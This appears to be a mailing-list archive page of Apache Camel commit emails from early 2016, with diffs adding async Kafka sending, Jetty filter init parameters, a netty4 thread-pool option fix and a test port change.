2016-05-10 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master 2657ce788 -> 123f08fa4


CAMEL-9957 camel-kafka producer sends the message in an async way


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/123f08fa
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/123f08fa
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/123f08fa

Branch: refs/heads/master
Commit: 123f08fa4c7161167e986fed33f318e7b5ad460a
Parents: 2657ce7
Author: Willem Jiang 
Authored: Wed May 11 11:55:13 2016 +0800
Committer: Willem Jiang 
Committed: Wed May 11 11:55:13 2016 +0800

--
 .../camel/component/kafka/KafkaProducer.java| 54 +---
 .../component/kafka/KafkaProducerTest.java  | 52 +++
 2 files changed, 100 insertions(+), 6 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/123f08fa/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
--
diff --git 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
index 4f6468b..0c4013f 100644
--- 
a/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
+++ 
b/components/camel-kafka/src/main/java/org/apache/camel/component/kafka/KafkaProducer.java
@@ -18,14 +18,18 @@ package org.apache.camel.component.kafka;
 
 import java.util.Properties;
 
+import org.apache.camel.AsyncCallback;
+import org.apache.camel.AsyncProcessor;
 import org.apache.camel.CamelException;
 import org.apache.camel.CamelExchangeException;
 import org.apache.camel.Exchange;
 import org.apache.camel.impl.DefaultProducer;
+import org.apache.kafka.clients.producer.Callback;
 import org.apache.kafka.clients.producer.ProducerConfig;
 import org.apache.kafka.clients.producer.ProducerRecord;
+import org.apache.kafka.clients.producer.RecordMetadata;
 
-public class KafkaProducer extends DefaultProducer {
+public class KafkaProducer extends DefaultProducer implements AsyncProcessor {
 
 private org.apache.kafka.clients.producer.KafkaProducer kafkaProducer;
 private final KafkaEndpoint endpoint;
@@ -69,9 +73,7 @@ public class KafkaProducer extends DefaultProducer {
 }
 }
 
-@Override
-@SuppressWarnings("unchecked")
-public void process(Exchange exchange) throws CamelException {
+protected ProducerRecord createRecorder(Exchange exchange) throws 
CamelException {
 String topic = endpoint.getTopic();
 if (!endpoint.isBridgeEndpoint()) {
 topic = exchange.getIn().getHeader(KafkaConstants.TOPIC, topic, 
String.class);
@@ -96,9 +98,15 @@ public class KafkaProducer extends DefaultProducer {
 log.warn("No message key or partition key set");
 record = new ProducerRecord(topic, msg);
 }
+return record;
+}
+
+@Override
+@SuppressWarnings("unchecked")
+public void process(Exchange exchange) throws CamelException {
 
-// TODO: add support for async callback
-// requires a thread pool for processing outgoing routing
+ProducerRecord record = createRecorder(exchange);
+// Just send out the record in the sync way
 try {
 kafkaProducer.send(record).get();
 } catch (Exception e) {
@@ -106,4 +114,38 @@ public class KafkaProducer extends DefaultProducer {
 }
 }
 
+@Override
+public boolean process(Exchange exchange, AsyncCallback callback) {
+try {
+ProducerRecord record = createRecorder(exchange);
+kafkaProducer.send(record, new KafkaProducerCallBack(exchange, 
callback));
+// Finishing the processing in an async way
+return false;
+} catch (Exception ex) {
+// Just set the exception back to the client
+exchange.setException(ex);
+callback.done(true);
+return true;
+}
+}
+
+class KafkaProducerCallBack implements Callback {
+
+private Exchange exchange;
+private AsyncCallback callback;
+
+KafkaProducerCallBack(Exchange exchange, AsyncCallback callback) {
+this.exchange = exchange;
+this.callback = callback;
+}
+
+@Override
+public void onCompletion(RecordMetadata recordMetadata, Exception e) {
+if (e != null) {
+// Just set the exception back
+exchange.setException(e);
+}
+callback.done(false);
+}
+}
 }


camel git commit: CAMEL-9501 Support to setup the filter InitParameters from Jetty URI

2016-02-21 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master 48020041f -> 2ded240dd


CAMEL-9501 Support to setup the filter InitParameters from Jetty URI


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/2ded240d
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/2ded240d
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/2ded240d

Branch: refs/heads/master
Commit: 2ded240ddcb5fc92f6dd56e606e0906e63a21a4e
Parents: 4802004
Author: Willem Jiang 
Authored: Sun Feb 21 18:56:31 2016 +0800
Committer: Willem Jiang 
Committed: Sun Feb 21 19:09:24 2016 +0800

--
 .../org/apache/camel/util/IntrospectionSupport.java  | 15 +++
 .../camel/component/jetty/JettyHttpComponent.java| 10 +-
 .../camel/component/jetty/JettyHttpEndpoint.java | 15 +++
 .../camel/component/jetty/CustomFiltersTest.java |  9 +++--
 4 files changed, 46 insertions(+), 3 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/2ded240d/camel-core/src/main/java/org/apache/camel/util/IntrospectionSupport.java
--
diff --git 
a/camel-core/src/main/java/org/apache/camel/util/IntrospectionSupport.java 
b/camel-core/src/main/java/org/apache/camel/util/IntrospectionSupport.java
index e4a98df..46fd82e 100755
--- a/camel-core/src/main/java/org/apache/camel/util/IntrospectionSupport.java
+++ b/camel-core/src/main/java/org/apache/camel/util/IntrospectionSupport.java
@@ -448,6 +448,21 @@ public final class IntrospectionSupport {
 return rc;
 }
 
+public static Map extractStringProperties(Map properties) {
+ObjectHelper.notNull(properties, "properties");
+
+Map rc = new LinkedHashMap(properties.size());
+
+for (Iterator> it = 
properties.entrySet().iterator(); it.hasNext();) {
+Map.Entry entry = it.next();
+String name = entry.getKey();
+String value = entry.getValue().toString();
+rc.put(name, value);
+}
+
+return rc;
+}
+
 public static boolean setProperties(CamelContext context, TypeConverter 
typeConverter, Object target, Map properties) throws Exception {
 ObjectHelper.notNull(target, "target");
 ObjectHelper.notNull(properties, "properties");

http://git-wip-us.apache.org/repos/asf/camel/blob/2ded240d/components/camel-jetty-common/src/main/java/org/apache/camel/component/jetty/JettyHttpComponent.java
--
diff --git 
a/components/camel-jetty-common/src/main/java/org/apache/camel/component/jetty/JettyHttpComponent.java
 
b/components/camel-jetty-common/src/main/java/org/apache/camel/component/jetty/JettyHttpComponent.java
index ca6afc0..5e39a14 100644
--- 
a/components/camel-jetty-common/src/main/java/org/apache/camel/component/jetty/JettyHttpComponent.java
+++ 
b/components/camel-jetty-common/src/main/java/org/apache/camel/component/jetty/JettyHttpComponent.java
@@ -185,6 +185,9 @@ public abstract class JettyHttpComponent extends 
HttpCommonComponent implements
 // extract httpClient. parameters
 Map httpClientParameters = 
IntrospectionSupport.extractProperties(parameters, "httpClient.");
 
+// extract filterInit. parameters
+Map filterInitParameters =  
IntrospectionSupport.extractStringProperties(IntrospectionSupport.extractProperties(parameters,
 "filterInit."));
+
 String address = remaining;
 URI addressUri = new 
URI(UnsafeUriCharactersEncoder.encodeHttpURI(address));
 URI endpointUri = URISupport.createRemainingURI(addressUri, 
parameters);
@@ -217,10 +220,12 @@ public abstract class JettyHttpComponent extends 
HttpCommonComponent implements
 }
 // setup the proxy host and proxy port
 
-
 if (httpClientParameters != null && !httpClientParameters.isEmpty()) {
 endpoint.setHttpClientParameters(httpClientParameters);
 }
+if (filterInitParameters != null && !filterInitParameters.isEmpty()) {
+endpoint.setFilterInitParameters(filterInitParameters);
+}
 if (handlerList.size() > 0) {
 endpoint.setHandlers(handlerList);
 }
@@ -369,6 +374,9 @@ public abstract class JettyHttpComponent extends 
HttpCommonComponent implements
 List filters = endpoint.getFilters();
 for (Filter filter : filters) {
 FilterHolder filterHolder = new FilterHolder();
+if (endpoint.getFilterInitParameters() != null) {
+

camel git commit: CAMEL-9514 Fixed the issue that camel-netty4 maximumPoolSize option is ignored

2016-01-17 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/camel-2.15.x b8f18ea6b -> 91fbaa449


CAMEL-9514 Fixed the issue that camel-netty4 maximumPoolSize option is ignored


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/91fbaa44
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/91fbaa44
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/91fbaa44

Branch: refs/heads/camel-2.15.x
Commit: 91fbaa4490e5fbd195f2cf5f5c1b44e58425bd3a
Parents: b8f18ea
Author: Willem Jiang 
Authored: Mon Jan 18 13:50:39 2016 +0800
Committer: Willem Jiang 
Committed: Mon Jan 18 13:50:39 2016 +0800

--
 .../camel/component/netty4/NettyComponent.java  | 24 
 .../component/netty4/NettyConfiguration.java| 10 
 2 files changed, 20 insertions(+), 14 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/91fbaa44/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
--
diff --git 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
index 66ba640..8799719 100644
--- 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
+++ 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
@@ -32,6 +32,7 @@ import org.apache.camel.util.concurrent.CamelThreadFactory;
 
 public class NettyComponent extends UriEndpointComponent {
 private NettyConfiguration configuration;
+private int maximumPoolSize = 16;
 private volatile EventExecutorGroup executorService;
 
 public NettyComponent() {
@@ -46,6 +47,19 @@ public class NettyComponent extends UriEndpointComponent {
 super(context, NettyEndpoint.class);
 }
 
+public int getMaximumPoolSize() {
+return maximumPoolSize;
+}
+
+/**
+ * The thread pool size for the EventExecutorGroup if its in use.
+ * 
+ * The default value is 16.
+ */
+public void setMaximumPoolSize(int maximumPoolSize) {
+this.maximumPoolSize = maximumPoolSize;
+}
+
 @Override
 protected Endpoint createEndpoint(String uri, String remaining, 
Map parameters) throws Exception {
 NettyConfiguration config;
@@ -108,7 +122,8 @@ public class NettyComponent extends UriEndpointComponent {
 if (configuration == null) {
 configuration = new NettyConfiguration();
 }
-
+
+//Only setup the executorService if it is needed
 if (configuration.isUsingExecutorService() && executorService == null) 
{
 executorService = createExecutorService();
 }
@@ -122,13 +137,14 @@ public class NettyComponent extends UriEndpointComponent {
 // we should use a shared thread pool as recommended by Netty
 String pattern = 
getCamelContext().getExecutorServiceManager().getThreadNamePattern();
 ThreadFactory factory = new CamelThreadFactory(pattern, 
"NettyEventExecutorGroup", true);
-return new 
DefaultEventExecutorGroup(configuration.getMaximumPoolSize(), factory);
+return new DefaultEventExecutorGroup(getMaximumPoolSize(), factory);
 }
 
 @Override
 protected void doStop() throws Exception {
 
-if (executorService != null) {
+//Only shutdown the executorService if it is created by netty component
+if (configuration.isUsingExecutorService() && executorService != null) 
{
 
getCamelContext().getExecutorServiceManager().shutdownNow(executorService);
 executorService = null;
 }
@@ -136,4 +152,4 @@ public class NettyComponent extends UriEndpointComponent {
 super.doStop();
 }
 
-}
\ No newline at end of file
+}

http://git-wip-us.apache.org/repos/asf/camel/blob/91fbaa44/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
--
diff --git 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
index 2e2244d..67f163f 100644
--- 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
+++ 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
@@ -76,8 +76,6 @@ public class NettyConfiguration extends 
NettyServerBootstrapConfiguration implem
 private boolean allowDefaultCodec = true;
 @UriParam
 private 

camel git commit: CAMEL-9514 Fixed the issue that camel-netty4 maximumPoolSize option is ignored

2016-01-17 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master e04347b56 -> 672e2b15c


CAMEL-9514 Fixed the issue that camel-netty4 maximumPoolSize option is ignored


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/672e2b15
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/672e2b15
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/672e2b15

Branch: refs/heads/master
Commit: 672e2b15c0a286ede1a7b32a761909d0379509dd
Parents: e04347b
Author: Willem Jiang 
Authored: Mon Jan 18 09:00:35 2016 +0800
Committer: Willem Jiang 
Committed: Mon Jan 18 09:00:35 2016 +0800

--
 .../camel/component/netty4/NettyComponent.java  | 24 
 .../component/netty4/NettyConfiguration.java| 13 ---
 2 files changed, 19 insertions(+), 18 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/672e2b15/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
--
diff --git 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
index 4fc7b75..4cb70be 100644
--- 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
+++ 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
@@ -32,6 +32,7 @@ import org.apache.camel.util.concurrent.CamelThreadFactory;
 
 public class NettyComponent extends UriEndpointComponent {
 private NettyConfiguration configuration;
+private int maximumPoolSize = 16;
 private volatile EventExecutorGroup executorService;
 
 public NettyComponent() {
@@ -46,6 +47,19 @@ public class NettyComponent extends UriEndpointComponent {
 super(context, NettyEndpoint.class);
 }
 
+public int getMaximumPoolSize() {
+return maximumPoolSize;
+}
+
+/**
+ * The thread pool size for the EventExecutorGroup if its in use.
+ * 
+ * The default value is 16.
+ */
+public void setMaximumPoolSize(int maximumPoolSize) {
+this.maximumPoolSize = maximumPoolSize;
+}
+
 @Override
 protected Endpoint createEndpoint(String uri, String remaining, 
Map parameters) throws Exception {
 NettyConfiguration config;
@@ -124,18 +138,18 @@ public class NettyComponent extends UriEndpointComponent {
 // we should use a shared thread pool as recommended by Netty
 String pattern = 
getCamelContext().getExecutorServiceManager().getThreadNamePattern();
 ThreadFactory factory = new CamelThreadFactory(pattern, 
"NettyEventExecutorGroup", true);
-return new 
DefaultEventExecutorGroup(configuration.getMaximumPoolSize(), factory);
+return new DefaultEventExecutorGroup(getMaximumPoolSize(), factory);
 }
 
 @Override
 protected void doStop() throws Exception {
-
-if (executorService != null) {
-
getCamelContext().getExecutorServiceManager().shutdownNow(executorService);
+//Only shutdown the executorService if it is create by netty component
+if (configuration.isUsingExecutorService() && executorService != null) 
{
+
getCamelContext().getExecutorServiceManager().shutdownGraceful(executorService);
 executorService = null;
 }
 
 super.doStop();
 }
 
-}
\ No newline at end of file
+}

http://git-wip-us.apache.org/repos/asf/camel/blob/672e2b15/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
--
diff --git 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
index 7f33e39..cf8dac1 100644
--- 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
+++ 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
@@ -84,8 +84,6 @@ public class NettyConfiguration extends 
NettyServerBootstrapConfiguration implem
 private boolean allowDefaultCodec = true;
 @UriParam(label = "producer,advanced")
 private ClientInitializerFactory clientInitializerFactory;
-@UriParam(label = "consumer,advanced", defaultValue = "16")
-private int maximumPoolSize = 16;
 @UriParam(label = "consumer,advanced", defaultValue = "true")
 private boolean usingExecutorService = true;
 @UriParam(label = "producer,advanced", defaultValue = "-1")
@@ -507,17 +505,6 @@ public class NettyConfiguration 

camel git commit: CAMEL-9514 Cleaned up the comments

2016-01-17 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master 672e2b15c -> 3d00f856b


CAMEL-9514 Cleaned up the comments


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/3d00f856
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/3d00f856
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/3d00f856

Branch: refs/heads/master
Commit: 3d00f856b381663a8ed4b765020938b04f86642b
Parents: 672e2b1
Author: Willem Jiang 
Authored: Mon Jan 18 09:03:24 2016 +0800
Committer: Willem Jiang 
Committed: Mon Jan 18 09:03:24 2016 +0800

--
 .../java/org/apache/camel/component/netty4/NettyComponent.java  | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/3d00f856/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
--
diff --git 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
index 4cb70be..048d054 100644
--- 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
+++ 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
@@ -124,7 +124,8 @@ public class NettyComponent extends UriEndpointComponent {
 if (configuration == null) {
 configuration = new NettyConfiguration();
 }
-
+
+//Only setup the executorService if it is needed
 if (configuration.isUsingExecutorService() && executorService == null) 
{
 executorService = createExecutorService();
 }
@@ -143,7 +144,7 @@ public class NettyComponent extends UriEndpointComponent {
 
 @Override
 protected void doStop() throws Exception {
-//Only shutdown the executorService if it is create by netty component
+//Only shutdown the executorService if it is created by netty component
 if (configuration.isUsingExecutorService() && executorService != null) 
{
 
getCamelContext().getExecutorServiceManager().shutdownGraceful(executorService);
 executorService = null;



camel git commit: Using the port property in NettyHttpCompressTest

2016-01-17 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master 3d00f856b -> a4d60c239


Using the port property in NettyHttpCompressTest


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/a4d60c23
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/a4d60c23
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/a4d60c23

Branch: refs/heads/master
Commit: a4d60c2395f2427988229716f8bfeb63a9d49773
Parents: 3d00f85
Author: Willem Jiang 
Authored: Mon Jan 18 09:13:52 2016 +0800
Committer: Willem Jiang 
Committed: Mon Jan 18 09:13:52 2016 +0800

--
 .../camel/component/netty4/http/NettyHttpCompressTest.java   | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/a4d60c23/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyHttpCompressTest.java
--
diff --git 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyHttpCompressTest.java
 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyHttpCompressTest.java
index 92481ec..d674439 100644
--- 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyHttpCompressTest.java
+++ 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyHttpCompressTest.java
@@ -49,7 +49,7 @@ public class NettyHttpCompressTest extends BaseNettyTest {
 Map headers = new HashMap();
 headers.put("content-type", "text/plain; charset=\"UTF-8\"");
 headers.put("Accept-Encoding", "compress, gzip");
-String out = 
template.requestBodyAndHeaders("netty4-http:http://localhost:9001/foo?decoders=#myDecoders;,
 data,
+String out = 
template.requestBodyAndHeaders("netty4-http:http://localhost:{{port}}/foo?decoders=#myDecoders;,
 data,
 headers, String.class);
 // The decoded out has some space to clean up.
 assertEquals("Bye World", out.trim());
@@ -63,7 +63,7 @@ public class NettyHttpCompressTest extends BaseNettyTest {
 return new RouteBuilder() {
 @Override
 public void configure() throws Exception {
-from("netty4-http:http://0.0.0.0:9001/foo?compression=true;)
+
from("netty4-http:http://0.0.0.0:{{port}}/foo?compression=true;)
 .transform().constant("Bye 
World").setHeader("content-type").constant("text/plain; charset=\"UTF-8\"");
 }
 };



[3/3] camel git commit: Using the port property in NettyHttpCompressTest

2016-01-17 Thread ningjiang
Using the port property in NettyHttpCompressTest

Conflicts:

components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyHttpCompressTest.java


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/30a9732f
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/30a9732f
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/30a9732f

Branch: refs/heads/camel-2.16.x
Commit: 30a9732f8c2c873df1a9554a40d08637e65e40d4
Parents: 34707b2
Author: Willem Jiang 
Authored: Mon Jan 18 09:13:52 2016 +0800
Committer: Willem Jiang 
Committed: Mon Jan 18 11:06:41 2016 +0800

--
 .../component/netty4/http/NettyHttpCompressTest.java  | 14 +++---
 1 file changed, 7 insertions(+), 7 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/30a9732f/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyHttpCompressTest.java
--
diff --git 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyHttpCompressTest.java
 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyHttpCompressTest.java
index 1697c75..a0acb9f 100644
--- 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyHttpCompressTest.java
+++ 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyHttpCompressTest.java
@@ -30,7 +30,7 @@ import org.apache.camel.impl.JndiRegistry;
 import org.junit.Test;
 
 public class NettyHttpCompressTest extends BaseNettyTest {
-
+
 // setup the decompress decoder here
 @Override
 protected JndiRegistry createRegistry() throws Exception {
@@ -40,22 +40,22 @@ public class NettyHttpCompressTest extends BaseNettyTest {
 registry.bind("myDecoders", decoders);
 return registry;
 }
-
+
 
 @Test
 public void testContentType() throws Exception {
-
+
 byte[] data = "Hello World".getBytes(Charset.forName("UTF-8"));
 Map headers = new HashMap();
 headers.put("content-type", "text/plain; charset=\"UTF-8\"");
 headers.put("Accept-Encoding", "compress, gzip");
-String out = 
template.requestBodyAndHeaders("netty4-http:http://0.0.0.0:9001/foo?decoders=#myDecoders;,
 data,
+String out = 
template.requestBodyAndHeaders("netty4-http:http://localhost:{{port}}/foo?decoders=#myDecoders;,
 data,
 headers, String.class);
 // The decoded out has some space to clean up.
 assertEquals("Bye World", out.trim());
-
 
-
+
+
 }
 
 @Override
@@ -63,7 +63,7 @@ public class NettyHttpCompressTest extends BaseNettyTest {
 return new RouteBuilder() {
 @Override
 public void configure() throws Exception {
-from("netty4-http:http://0.0.0.0:9001/foo?compression=true;)
+
from("netty4-http:http://0.0.0.0:{{port}}/foo?compression=true;)
 .transform().constant("Bye 
World").setHeader("content-type").constant("text/plain; charset=\"UTF-8\"");
 }
 };



[1/3] camel git commit: CAMEL-9514 Fixed the issue that camel-netty4 maximumPoolSize option is ignored

2016-01-17 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/camel-2.16.x 0aba642a6 -> 30a9732f8


CAMEL-9514 Fixed the issue that camel-netty4 maximumPoolSize option is ignored


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/1a47d3a1
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/1a47d3a1
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/1a47d3a1

Branch: refs/heads/camel-2.16.x
Commit: 1a47d3a127d9ceb0e3dba2904f18e5af0d375d6c
Parents: 0aba642
Author: Willem Jiang 
Authored: Mon Jan 18 09:00:35 2016 +0800
Committer: Willem Jiang 
Committed: Mon Jan 18 09:52:33 2016 +0800

--
 .../camel/component/netty4/NettyComponent.java  | 24 
 .../component/netty4/NettyConfiguration.java| 13 ---
 2 files changed, 19 insertions(+), 18 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/1a47d3a1/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
--
diff --git 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
index 4fc7b75..4cb70be 100644
--- 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
+++ 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
@@ -32,6 +32,7 @@ import org.apache.camel.util.concurrent.CamelThreadFactory;
 
 public class NettyComponent extends UriEndpointComponent {
 private NettyConfiguration configuration;
+private int maximumPoolSize = 16;
 private volatile EventExecutorGroup executorService;
 
 public NettyComponent() {
@@ -46,6 +47,19 @@ public class NettyComponent extends UriEndpointComponent {
 super(context, NettyEndpoint.class);
 }
 
+public int getMaximumPoolSize() {
+return maximumPoolSize;
+}
+
+/**
+ * The thread pool size for the EventExecutorGroup if its in use.
+ * 
+ * The default value is 16.
+ */
+public void setMaximumPoolSize(int maximumPoolSize) {
+this.maximumPoolSize = maximumPoolSize;
+}
+
 @Override
 protected Endpoint createEndpoint(String uri, String remaining, 
Map parameters) throws Exception {
 NettyConfiguration config;
@@ -124,18 +138,18 @@ public class NettyComponent extends UriEndpointComponent {
 // we should use a shared thread pool as recommended by Netty
 String pattern = 
getCamelContext().getExecutorServiceManager().getThreadNamePattern();
 ThreadFactory factory = new CamelThreadFactory(pattern, 
"NettyEventExecutorGroup", true);
-return new 
DefaultEventExecutorGroup(configuration.getMaximumPoolSize(), factory);
+return new DefaultEventExecutorGroup(getMaximumPoolSize(), factory);
 }
 
 @Override
 protected void doStop() throws Exception {
-
-if (executorService != null) {
-
getCamelContext().getExecutorServiceManager().shutdownNow(executorService);
+//Only shutdown the executorService if it is create by netty component
+if (configuration.isUsingExecutorService() && executorService != null) 
{
+
getCamelContext().getExecutorServiceManager().shutdownGraceful(executorService);
 executorService = null;
 }
 
 super.doStop();
 }
 
-}
\ No newline at end of file
+}

http://git-wip-us.apache.org/repos/asf/camel/blob/1a47d3a1/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
--
diff --git 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
index 7f33e39..cf8dac1 100644
--- 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
+++ 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyConfiguration.java
@@ -84,8 +84,6 @@ public class NettyConfiguration extends 
NettyServerBootstrapConfiguration implem
 private boolean allowDefaultCodec = true;
 @UriParam(label = "producer,advanced")
 private ClientInitializerFactory clientInitializerFactory;
-@UriParam(label = "consumer,advanced", defaultValue = "16")
-private int maximumPoolSize = 16;
 @UriParam(label = "consumer,advanced", defaultValue = "true")
 private boolean usingExecutorService = true;
 @UriParam(label = "producer,advanced", defaultValue = "-1")
@@ -507,17 +505,6 @@ public class 

[2/3] camel git commit: CAMEL-9514 Cleaned up the comments

2016-01-17 Thread ningjiang
CAMEL-9514 Cleaned up the comments


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/34707b23
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/34707b23
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/34707b23

Branch: refs/heads/camel-2.16.x
Commit: 34707b23b36124f7849b5f98cb0f162ee75ab3a0
Parents: 1a47d3a
Author: Willem Jiang 
Authored: Mon Jan 18 09:03:24 2016 +0800
Committer: Willem Jiang 
Committed: Mon Jan 18 09:52:39 2016 +0800

--
 .../java/org/apache/camel/component/netty4/NettyComponent.java  | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/34707b23/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
--
diff --git 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
index 4cb70be..048d054 100644
--- 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
+++ 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/NettyComponent.java
@@ -124,7 +124,8 @@ public class NettyComponent extends UriEndpointComponent {
 if (configuration == null) {
 configuration = new NettyConfiguration();
 }
-
+
+//Only setup the executorService if it is needed
 if (configuration.isUsingExecutorService() && executorService == null) 
{
 executorService = createExecutorService();
 }
@@ -143,7 +144,7 @@ public class NettyComponent extends UriEndpointComponent {
 
 @Override
 protected void doStop() throws Exception {
-//Only shutdown the executorService if it is create by netty component
+//Only shutdown the executorService if it is created by netty component
 if (configuration.isUsingExecutorService() && executorService != null) 
{
 
getCamelContext().getExecutorServiceManager().shutdownGraceful(executorService);
 executorService = null;



camel git commit: CAMEL-9506 Fixed the issue that STOMP producer cannot handle the stream object

2016-01-13 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/camel-2.16.x 267c297c9 -> 302c91d1a


CAMEL-9506 Fixed the issue that STOMP producer cannot handle the stream object


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/302c91d1
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/302c91d1
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/302c91d1

